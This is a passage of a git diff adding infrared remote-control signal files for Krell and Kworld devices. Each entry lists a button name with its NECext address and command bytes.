+address: 1C 00 00 00 +command: 02 00 00 00 +# +name: CNTR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0E 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 12 00 00 00 +# +name: MAIN_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: HTS_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: PRE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: S2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1D 00 00 00 +# +name: S3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1E 00 00 00 +# +name: S4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1F 00 00 00 +# +name: S5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: C2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 22 00 00 00 +# +name: T1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 23 00 00 00 +# +name: T2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 24 00 00 00 +# +name: XLR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 25 00 00 00 +# +name: RF +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 26 00 00 00 +# +name: SV2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2A 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 33 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 35 00 00 00 +# +name: ST +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 35 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3E 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir new file mode 100644 index 000000000..46ac6effa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SYSTEM_1_2_3 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir new file mode 100644 index 000000000..5924a6579 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: numpad_up +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: numpad_enter +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: shut_down +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: timeshift +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: scan_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: scan_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: chapter_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: chatper_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4C 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4D 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4E 00 00 00 +# +name: KEY_H +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir new file mode 100644 index 000000000..625922a34 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir @@ -0,0 +1,428 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: turnup +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: tv/fm +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: fm-freq- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: function- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: function- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: fm_freq+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: function+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: function+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: minimze +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: snap +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: fm_scan- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: turnleft +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: fm_scan+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir new file mode 100644 index 000000000..8f220d31b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: numpad_up +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: numpad_enter +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: min +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: timeshift +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: snap +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: shut_down +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: scan_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: scan_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: chapter_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: chapter_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: fun1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: fun2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: fun3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: fun4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir new file mode 100644 index 000000000..8f220d31b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: numpad_up +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: numpad_enter +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: min +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: timeshift +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: snap +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: shut_down +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: scan_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: scan_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: chapter_rev +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: chapter_fwd +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: fun1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: fun2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: fun3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: fun4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir new file mode 100644 index 000000000..3782caa7f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: kw +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: screen-ratio +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: time-shift +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: snapshot +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: minimize +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 21 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 22 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 23 00 00 00 +# +name: KEY_REWIND +type: parsed 